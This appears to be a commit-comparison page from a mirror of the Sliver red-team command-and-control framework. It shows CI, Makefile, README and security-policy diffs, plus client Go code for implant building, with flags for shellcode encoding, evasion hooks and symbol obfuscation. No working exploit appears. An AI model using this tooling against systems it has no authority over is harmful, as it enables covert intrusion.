mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
311
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
73dbe78806 | ||
|
|
b968dcf969 | ||
|
|
d1ef51ed49 | ||
|
|
03ba0ea9e7 | ||
|
|
42a4e93aae | ||
|
|
81ec6398b8 | ||
|
|
5da01d9278 | ||
|
|
bc9bba5d39 | ||
|
|
89f029f55b | ||
|
|
64a31ee3b0 | ||
|
|
9ffe3842a4 | ||
|
|
9c44890db7 | ||
|
|
50103d7ae9 | ||
|
|
448c9a8c35 | ||
|
|
52e296fed4 | ||
|
|
975d37f169 | ||
|
|
94a4be6254 | ||
|
|
988282cd40 | ||
|
|
9b1ce8afa8 | ||
|
|
dc687055a4 | ||
|
|
1ddeeb8554 | ||
|
|
8369b03112 | ||
|
|
e44bb1a4f1 | ||
|
|
bca8c13f20 | ||
|
|
a8a5368060 | ||
|
|
cfaa892ae5 | ||
|
|
cf4a8da802 | ||
|
|
b0b4751267 | ||
|
|
d2a6fa8cd6 | ||
|
|
ad7310dc68 | ||
|
|
e914850a13 | ||
|
|
56e368ccb0 | ||
|
|
4e43f2d0d3 | ||
|
|
cb3fc2923f | ||
|
|
204519b18f | ||
|
|
e6a974495a | ||
|
|
4c172b7d8f | ||
|
|
6f76dfa674 | ||
|
|
e47516c988 | ||
|
|
1a2388aadc | ||
|
|
d8668e7d4e | ||
|
|
f21669bb45 | ||
|
|
8175819f52 | ||
|
|
d0cfd655ca | ||
|
|
cc7d5f8a82 | ||
|
|
6efd53950b | ||
|
|
041ae65c61 | ||
|
|
286c9dc3f2 | ||
|
|
6b3d95a0b4 | ||
|
|
9f73e636b4 | ||
|
|
4a8cc9386f | ||
|
|
25f7ac019f | ||
|
|
19c2533d90 | ||
|
|
fa94d98d68 | ||
|
|
1469482631 | ||
|
|
7eb77b07fa | ||
|
|
5184aa8761 | ||
|
|
92df0e4a20 | ||
|
|
e905032169 | ||
|
|
973b5bb8aa | ||
|
|
f4b4610e28 | ||
|
|
9c0a97fc3a | ||
|
|
571a601b00 | ||
|
|
422d4914b8 | ||
|
|
a5532e15fe | ||
|
|
72c1de84a8 | ||
|
|
d935a038b0 | ||
|
|
be6cfc9db4 | ||
|
|
cfa16f7e62 | ||
|
|
1a8487ef71 | ||
|
|
72fcd30fe9 | ||
|
|
79ff35429d | ||
|
|
de2d78158f | ||
|
|
19c6e79951 | ||
|
|
81d8b39db7 | ||
|
|
ce213edab4 | ||
|
|
4a996b5494 | ||
|
|
0910c28a5f | ||
|
|
ff3e37075b | ||
|
|
41c95a9570 | ||
|
|
6e87b94035 | ||
|
|
06b2e4ecc1 | ||
|
|
db9bc1317a | ||
|
|
7e8d228314 | ||
|
|
29340acfee | ||
|
|
067eb5856e | ||
|
|
fa58a52cae | ||
|
|
3ac0ff131a | ||
|
|
cc55f38195 | ||
|
|
35eedd75ec | ||
|
|
5067333eff | ||
|
|
0d1c64aede | ||
|
|
98f2340e3e | ||
|
|
bf7ac3997d | ||
|
|
0c827c6736 | ||
|
|
b8723d93da | ||
|
|
96d242b0df | ||
|
|
645e5e0d14 | ||
|
|
2a2b7dbf47 | ||
|
|
206ab56bee | ||
|
|
362efc8f9d | ||
|
|
cf7f4be3ed | ||
|
|
0796409887 | ||
|
|
30647d267a | ||
|
|
65da9c8504 | ||
|
|
e296b6fdc7 | ||
|
|
3e3fdbe6a8 | ||
|
|
8d97ba3aec | ||
|
|
a5a60a505c | ||
|
|
c04f3f0228 | ||
|
|
885387b3ea | ||
|
|
d809a28a5d | ||
|
|
f48dfa0e4b | ||
|
|
0bf19f5242 | ||
|
|
7bea0ee08f | ||
|
|
4df0e87896 | ||
|
|
35f1fdd6cb | ||
|
|
19ccc10a25 | ||
|
|
b900af8b21 | ||
|
|
bf3619553a | ||
|
|
f0de5eb2d1 | ||
|
|
d647389c52 | ||
|
|
d1e5053c34 | ||
|
|
ea045fb1a6 | ||
|
|
d15afa23a5 | ||
|
|
e231cd5252 | ||
|
|
5bcae143cb | ||
|
|
d1d2415508 | ||
|
|
57a4cb6b12 | ||
|
|
4845dfed87 | ||
|
|
17e102e72c | ||
|
|
8d1ce4cca7 | ||
|
|
508257f825 | ||
|
|
ec2fc66c9f | ||
|
|
3b24870ce8 | ||
|
|
b6340ead44 | ||
|
|
0cf021dc2b | ||
|
|
aac9ded76a | ||
|
|
2fefb634ef | ||
|
|
db11d8d6bb | ||
|
|
cca1f66ea6 | ||
|
|
cdd941bdad | ||
|
|
a37e8d6b2d | ||
|
|
8d1dc478b9 | ||
|
|
7b6ff79b5f | ||
|
|
0ec79a8e55 | ||
|
|
8a28bf4506 | ||
|
|
82cb8797a9 | ||
|
|
d778ada3c5 | ||
|
|
2a0efd19f5 | ||
|
|
0912e43568 | ||
|
|
748407ae2c | ||
|
|
177c8fbed8 | ||
|
|
cd94a65432 | ||
|
|
419c58e77f | ||
|
|
51aa00e741 | ||
|
|
ffe4c490fd | ||
|
|
702c2371a4 | ||
|
|
776f416ed1 | ||
|
|
ce98ce8b37 | ||
|
|
de8c6cb9b5 | ||
|
|
6afdad6d50 | ||
|
|
d699a8d140 | ||
|
|
77148d0d31 | ||
|
|
c7e77c8f8b | ||
|
|
5e6148b193 | ||
|
|
7b12e893a5 | ||
|
|
a619b59329 | ||
|
|
ead23d8bf6 | ||
|
|
7e6abd2211 | ||
|
|
4052093d57 | ||
|
|
a676cb328a | ||
|
|
1be1904c4d | ||
|
|
ead6b48b74 | ||
|
|
5d8ee38cb4 | ||
|
|
cef27f6511 | ||
|
|
dd91251710 | ||
|
|
d13e3fc61e | ||
|
|
cfb292d6d6 | ||
|
|
0e66a5643e | ||
|
|
5a7ee43120 | ||
|
|
8b7a66a595 | ||
|
|
f8ae372796 | ||
|
|
5908033ffd | ||
|
|
e083fa6db4 | ||
|
|
eb96269114 | ||
|
|
e9945d7cb4 | ||
|
|
c91740d2ac | ||
|
|
170c2bc462 | ||
|
|
ac56a98671 | ||
|
|
6c7814ce4f | ||
|
|
4adc9abd6a | ||
|
|
418b061c14 | ||
|
|
95ea7d8390 | ||
|
|
7f02c2ca96 | ||
|
|
430b5ffb79 | ||
|
|
e0c7779c6d | ||
|
|
aa31df6813 | ||
|
|
4146b382ff | ||
|
|
1e2e3caca0 | ||
|
|
40a9b74119 | ||
|
|
125a4ac0c4 | ||
|
|
84c56f3c4e | ||
|
|
14553f9a5a | ||
|
|
441038a508 | ||
|
|
4bf328edd9 | ||
|
|
f7d5d5f4c6 | ||
|
|
ea764705f1 | ||
|
|
0417fc16f6 | ||
|
|
901e9fd9e1 | ||
|
|
c5b3250d17 | ||
|
|
9f72364e54 | ||
|
|
184dde22ad | ||
|
|
0f5262ef87 | ||
|
|
bb8b7111b7 | ||
|
|
567e51ca46 | ||
|
|
05166e896f | ||
|
|
3cfe6435f3 | ||
|
|
48c65108d6 | ||
|
|
a271932c8a | ||
|
|
8c6fe18280 | ||
|
|
97dbae571c | ||
|
|
b5e629c4a6 | ||
|
|
30b1cb8a85 | ||
|
|
eb70ed2d0b | ||
|
|
53593be73f | ||
|
|
a144991ede | ||
|
|
0bb5ea506a | ||
|
|
d76e845bda | ||
|
|
47d1f0d66b | ||
|
|
bf1127f7f2 | ||
|
|
8b58648713 | ||
|
|
15b5b7c09b | ||
|
|
d7fcfe8760 | ||
|
|
88ca9cf905 | ||
|
|
c41fc309ad | ||
|
|
a8a36dd6e2 | ||
|
|
0a4dfccf25 | ||
|
|
20df965603 | ||
|
|
7b697ae5d1 | ||
|
|
ab5b319a9d | ||
|
|
fc18744280 | ||
|
|
8c5d55404c | ||
|
|
53c436b7dc | ||
|
|
3bf6ca5527 | ||
|
|
f5b8e3f23f | ||
|
|
3cb03537e5 | ||
|
|
85d23885ae | ||
|
|
6cad9d45d0 | ||
|
|
2810bebd07 | ||
|
|
cf0eb211e4 | ||
|
|
3668cd73fb | ||
|
|
69804ed3b9 | ||
|
|
2d376ce90b | ||
|
|
dbee28263b | ||
|
|
3160c8f31f | ||
|
|
84746926f0 | ||
|
|
020e18d0f8 | ||
|
|
ceca730e6b | ||
|
|
677a079132 | ||
|
|
971f44e4a1 | ||
|
|
d17b842d63 | ||
|
|
032e116a42 | ||
|
|
5cc548589f | ||
|
|
4047b42522 | ||
|
|
a2b039bb51 | ||
|
|
3c7fe8f1c6 | ||
|
|
a1d6d00a6a | ||
|
|
2481b9632f | ||
|
|
58e11d40fa | ||
|
|
196d42c8f1 | ||
|
|
3a4eee20a0 | ||
|
|
7714950206 | ||
|
|
bae0f479b8 | ||
|
|
fd090228e8 | ||
|
|
69dfe8c047 | ||
|
|
d8b9f7cbd6 | ||
|
|
4c6269ba5a | ||
|
|
c98d1e2c17 | ||
|
|
d582987c78 | ||
|
|
794db93ec9 | ||
|
|
338b622b97 | ||
|
|
4ecf42b5c2 | ||
|
|
7c5262d63d | ||
|
|
1a41eacb66 | ||
|
|
32e4ed63e9 | ||
|
|
e65629e089 | ||
|
|
0c14621e53 | ||
|
|
e27e030431 | ||
|
|
1fd850c738 | ||
|
|
4738bf229c | ||
|
|
c0a5a06efc | ||
|
|
97ff802a40 | ||
|
|
106c7f0427 | ||
|
|
37a46a21e0 | ||
|
|
060d1c40fd | ||
|
|
3320f3958b | ||
|
|
643a9ca3fe | ||
|
|
52c2e1b0cf | ||
|
|
0fab805980 | ||
|
|
dd9bb01640 | ||
|
|
0df56e5a95 | ||
|
|
e8a77d83ea | ||
|
|
98de546086 | ||
|
|
9e9ab2042f | ||
|
|
d7d946f17a | ||
|
|
c4555a124a | ||
|
|
65a44da85f | ||
|
|
6b0d6b2784 | ||
|
|
4b1991ad5d | ||
|
|
4ec3c9b776 |
No files matched your search
@@ -5,4 +5,4 @@ queries:
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
- client
|
||||
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master, goreleaser]
|
||||
branches: [master]
|
||||
|
||||
jobs:
|
||||
linux-windows-build:
|
||||
@@ -12,10 +12,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "1.20.1"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -62,10 +62,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -4,23 +4,22 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
# pull_request:
|
||||
# branches:
|
||||
# - master
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
CodeQL-Build:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.19
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v3
|
||||
@@ -37,23 +36,6 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
|
||||
@@ -1,8 +1,5 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
@@ -18,10 +15,10 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -52,10 +49,10 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.19
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.19.1"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -42,3 +42,6 @@ sliver-server-windows.zip
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.19.1
|
||||
FROM golang:1.20.1
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,7 +6,7 @@ FROM golang:1.19.1
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
|
||||
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -99,36 +108,42 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
macos: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
macos-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
linux: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean validate-go-version
|
||||
linux-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
@@ -140,6 +155,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
@@ -158,7 +178,12 @@ clean-all: clean
|
||||
rm -rf ./server/assets/fs/windows/amd64
|
||||
rm -rf ./server/assets/fs/linux/amd64
|
||||
rm -f ./server/assets/fs/*.zip
|
||||
rm -f ./.downloaded_assets
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
touch ./.downloaded_assets
|
||||
@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
|
||||
+1
-1
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
|
||||
|
||||
### Reporting a Vulnerability
|
||||
|
||||
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
|
||||
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
@@ -142,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -281,8 +280,22 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
if !ctx.Flags.Bool("in-process") {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
@@ -303,7 +316,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -311,7 +324,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
|
||||
@@ -57,7 +57,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
done := make(chan bool, 1)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -41,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
@@ -1208,6 +1209,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1297,6 +1300,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("P", "password", "", "SSH user password")
|
||||
f.String("l", "login", "", "username to use to connect")
|
||||
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
|
||||
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
|
||||
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
|
||||
f.String("r", "kerberos-realm", "", "Kerberos realm")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1318,8 +1324,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
f.Bool("G", "disable-sgn", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1376,8 +1385,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
